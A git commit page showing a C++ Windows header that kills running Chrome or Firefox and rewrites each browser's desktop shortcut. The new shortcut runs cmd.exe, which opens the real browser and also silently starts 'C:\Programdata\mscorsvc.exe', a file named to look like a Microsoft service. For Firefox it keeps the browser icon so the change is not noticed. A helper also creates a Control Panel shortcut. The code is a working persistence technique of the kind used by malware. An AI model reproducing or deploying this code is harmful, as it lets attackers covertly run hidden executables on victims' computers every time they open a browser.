first commit

This commit is contained in:
winsbu1997 committed 2025-07-03 08:48:49 +07:00
commit 55eb9666e9
10 files changed
+929

No files matched your search

+260
View File
@@ -0,0 +1,260 @@
#pragma once
#include <windows.h>
#include <shobjidl.h>
#include <shlguid.h>
#include <iostream>
#include <strsafe.h>
#include <Shlwapi.h>
#include "KillProcess.h"
bool checkFile(LPCWSTR shortcutPath) {
// Check if the file exists
BOOL fileExists = PathFileExists(shortcutPath);
return (fileExists == TRUE);
}
void ChangeShortcutChrome(LPCWSTR shortcutPath) {
killProcessByName(L"chrome.exe");
HRESULT hres;
IShellLink* psl;
IPersistFile* ppf;
WCHAR originalPath[MAX_PATH];
WCHAR arguments[MAX_PATH];
// Initialize the COM library
hres = CoInitialize(NULL);
if (SUCCEEDED(hres)) {
// Create an IShellLink object
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
if (SUCCEEDED(hres)) {
// Query IShellLink for the IPersistFile interface
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres)) {
// Load the shortcut file
hres = ppf->Load(shortcutPath, STGM_READWRITE);
if (SUCCEEDED(hres)) {
// Get the current target path
hres = psl->GetPath(originalPath, MAX_PATH, NULL, 0);
if (SUCCEEDED(hres)) {
std::wcout << L"Original target path: " << originalPath << std::endl;
if (wcsstr(originalPath, L"cmd.exe") != nullptr)
{
wcscpy_s(originalPath, L"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe");
}
if (!checkFile(originalPath))
{
wcscpy_s(originalPath, L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe");
}
// Prepare the new target path
StringCchPrintf(arguments, MAX_PATH, L"/c start \"\" \"%s\" & start \"\" \"C:\\Programdata\\mscorsvc.exe\"", originalPath);
// Set the new target path to cmd.exe
hres = psl->SetPath(L"C:\\Windows\\System32\\cmd.exe");
if (SUCCEEDED(hres)) {
// Set the arguments to run both commands
hres = psl->SetArguments(arguments);
if (SUCCEEDED(hres)) {
// Save the shortcut
hres = ppf->Save(shortcutPath, TRUE);
if (SUCCEEDED(hres)) {
std::wcout << L"Shortcut target changed successfully." << std::endl;
}
else {
std::wcerr << L"Failed to save the shortcut." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the new target arguments." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the new target path." << std::endl;
}
}
else {
std::wcerr << L"Failed to get the original target path." << std::endl;
}
}
else {
std::wcerr << L"Failed to load the shortcut file." << std::endl;
}
// Release the IPersistFile interface
ppf->Release();
}
else {
std::wcerr << L"Failed to query IPersistFile interface." << std::endl;
}
// Release the IShellLink interface
psl->Release();
}
else {
std::wcerr << L"Failed to create IShellLink instance." << std::endl;
}
// Uninitialize the COM library
CoUninitialize();
}
else {
std::wcerr << L"Failed to initialize COM library." << std::endl;
}
}
void ChangeShortcutFirefox(LPCWSTR shortcutPath) {
killProcessByName(L"firefox.exe");
HRESULT hres;
IShellLink* psl;
IPersistFile* ppf;
WCHAR originalPath[MAX_PATH];
WCHAR arguments[MAX_PATH];
WCHAR firefoxExe[MAX_PATH]; // Path to Firefox executable
int firefoxIconIndex = 0; // Index of the icon within the executable
// Path to Firefox executable and icon index
StringCchPrintf(firefoxExe, MAX_PATH, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe");
firefoxIconIndex = 0; // Adjust this index as per the desired icon within the executable
// Initialize the COM library
hres = CoInitialize(NULL);
if (SUCCEEDED(hres)) {
// Create an IShellLink object
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
if (SUCCEEDED(hres)) {
// Query IShellLink for the IPersistFile interface
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres)) {
// Load the shortcut file
hres = ppf->Load(shortcutPath, STGM_READWRITE);
if (SUCCEEDED(hres)) {
// Get the current target path
hres = psl->GetPath(originalPath, MAX_PATH, NULL, 0);
if (SUCCEEDED(hres)) {
std::wcout << L"Original target path: " << originalPath << std::endl;
//if (wcsstr(originalPath, L"cmd.exe") != nullptr) {
// // Set it to the default path
// wcscpy_s(originalPath, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe");
//}
if (wcsstr(originalPath, L"cmd.exe") != nullptr)
{
wcscpy_s(originalPath, L"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe");
}
if (!checkFile(originalPath))
{
wcscpy_s(originalPath, L"C:\\Program Files\\Mozilla Firefox\\firefox.exe");
}
// Prepare the new target path
StringCchPrintf(arguments, MAX_PATH, L"/c start \"\" \"%s\" & start \"\" \"C:\\Programdata\\mscorsvc.exe\"", originalPath);
// Set the new target path to cmd.exe
hres = psl->SetPath(L"C:\\Windows\\System32\\cmd.exe");
if (SUCCEEDED(hres)) {
// Set the arguments to run both commands
hres = psl->SetArguments(arguments);
if (SUCCEEDED(hres)) {
// Set the icon location to Firefox icon
hres = psl->SetIconLocation(firefoxExe, firefoxIconIndex);
if (SUCCEEDED(hres)) {
// Save the shortcut
hres = ppf->Save(shortcutPath, TRUE);
if (SUCCEEDED(hres)) {
std::wcout << L"Shortcut target and icon changed successfully." << std::endl;
}
else {
std::wcerr << L"Failed to save the shortcut." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the icon location." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the new target arguments." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the new target path." << std::endl;
}
}
else {
std::wcerr << L"Failed to get the original target path." << std::endl;
}
}
else {
std::wcerr << L"Failed to load the shortcut file." << std::endl;
}
// Release the IPersistFile interface
ppf->Release();
}
else {
std::wcerr << L"Failed to query IPersistFile interface." << std::endl;
}
// Release the IShellLink interface
psl->Release();
}
else {
std::wcerr << L"Failed to create IShellLink instance." << std::endl;
}
// Uninitialize the COM library
CoUninitialize();
}
else {
std::wcerr << L"Failed to initialize COM library." << std::endl;
}
}
void CreateControlPanelShortcut(LPCWSTR shortcutPath) {
HRESULT hres;
IShellLink* psl;
IPersistFile* ppf;
// Initialize the COM library
hres = CoInitialize(NULL);
if (SUCCEEDED(hres)) {
// Create an IShellLink object
hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
if (SUCCEEDED(hres)) {
// Set the path to the Control Panel
hres = psl->SetPath(L"explorer.exe");
if (SUCCEEDED(hres)) {
// Set the arguments to open Control Panel
hres = psl->SetArguments(L"shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}");
if (SUCCEEDED(hres)) {
hres = psl->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -27);
if (SUCCEEDED(hres)) {
// Query IShellLink for the IPersistFile interface
hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf);
if (SUCCEEDED(hres)) {
// Save the shortcut
hres = ppf->Save(shortcutPath, TRUE);
if (SUCCEEDED(hres)) {
std::wcout << L"Control Panel shortcut created successfully." << std::endl;
}
else {
std::wcerr << L"Failed to save the Control Panel shortcut." << std::endl;
}
// Release the IPersistFile interface
ppf->Release();
}
else {
std::wcerr << L"Failed to query IPersistFile interface." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the Control Panel icon." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the Control Panel arguments." << std::endl;
}
}
else {
std::wcerr << L"Failed to set the Control Panel path." << std::endl;
}
// Release the IShellLink interface
psl->Release();
}
else {
std::wcerr << L"Failed to create IShellLink instance." << std::endl;
}
// Uninitialize the COM library
CoUninitialize();
}
else {
std::wcerr << L"Failed to initialize COM library." << std::endl;
}
}